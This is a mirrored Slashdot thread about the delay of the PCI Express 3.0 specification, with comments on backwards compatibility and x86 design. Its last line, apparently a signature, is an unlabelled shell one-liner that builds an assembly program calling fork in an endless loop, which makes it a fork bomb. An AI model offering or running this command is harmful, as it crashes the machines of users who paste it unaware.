Slashdot Mirror
PCI Express 3.0 Delayed Till 2011
Professor_Quail writes "PC Magazine reports that the PCI SIG has officially delayed the release of the PCI Express 3.0 specification until the second quarter of 2010. Originally, the PCI Express 3.0 specification called for the spec itself to be released this year, with products due about a year after the spec's release, or in 2010."
the pci sig blurb says its mostyl cleanup and the removal of 5v support
does anyone know of anything interesting in 3.0?
Being able to add channels is certainly handy; but it isn't really a substitute for increasing speeds. If it were, we'd still be using PCI-X. Particularly in space constrained systems(laptops, blades, etc.) running more connectors and more traces is neither easy nor cheap. Even in your basic desktop ATX boards, you'd be hard pressed to get much more than a 16X slot without impinging on the RAM slots, or the CPU cooler area, or some other part.
For the moment, at least, our ability to drive wires faster at low cost seems to be increasing substantially more quickly than our ability to run more wires at low cost.
Personally I am quite glad they are delaying it until it is fully backwards compatible. Most folks here are probably too young to remember the "fun" of having hardware not be backwards compatible. Hell during the "fun" days of proprietary everything we even had things such as "Compaq RAM" that would only work in a Compaq board and even then only with certain boards that matched the particular quirks Compaq had built in! What fun! What joy!
At least today RAM is RAM, PCI is PCI, and USB is USB. It is so much easier now that everything is built to spec and is backwards compatible. Just the other day I had to plug my USB 2.0 thumbdrive into a USB 1.0 port on an old office machine to snatch off some files before fixing it. in the old nothing is compatible days that would have been a royal PITA to get to work, if you could get it to work at all, but thanks to the specs being backward compatible I was easily able to snatch the relevant files, even if it was slow as Xmas. And don't think it couldn't happen in the modern time, because you've never had the "fun" of AGP 2, 4, and 8 where....damn I can't remember the formula anymore. I think it was a 2 could work in a 4, and a 4 could work sometimes in an 8, but an 8 couldn't work in a 2. Something like that. I for one would rather wait and not have to remember stupid formulas like that again, thanks ever so much.
ACs don't waste your time replying, your posts are never seen by me.
Personally I am quite glad they are delaying it until it is fully backwards compatible.
Umm dude this is slashdot. The correct response is "This new standard sucks. It would be 10x faster if they didn't worry about back compatibility cruft" from a bunch of people who didn't understand the old standard but have been told it was really complex.
A good example would be x64 replacing x86. Every single nerd on the internet knows that x86 is bloated and that x64 should have started from scratch, despite the fact that a look at a picture of the die of a modern processor shows that the actually CPU core is completely dwarfed by cache. Oh and lots of people including Intel have built RISC and VLIW chips without the x86 legacy stuff and they didn't turn out to have a long term performance advantage over the 'crufty' x86. Actually the cruft on x86 is a slightly larger hardware decode unit for frequently used instructions compared to RISC. Still x86 instructions take up less room in memory and thus in the cache. It could well be that it's cheaper to build a larger decoder than it would be to increase the cache size to fit the same number of RISC instructions in it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;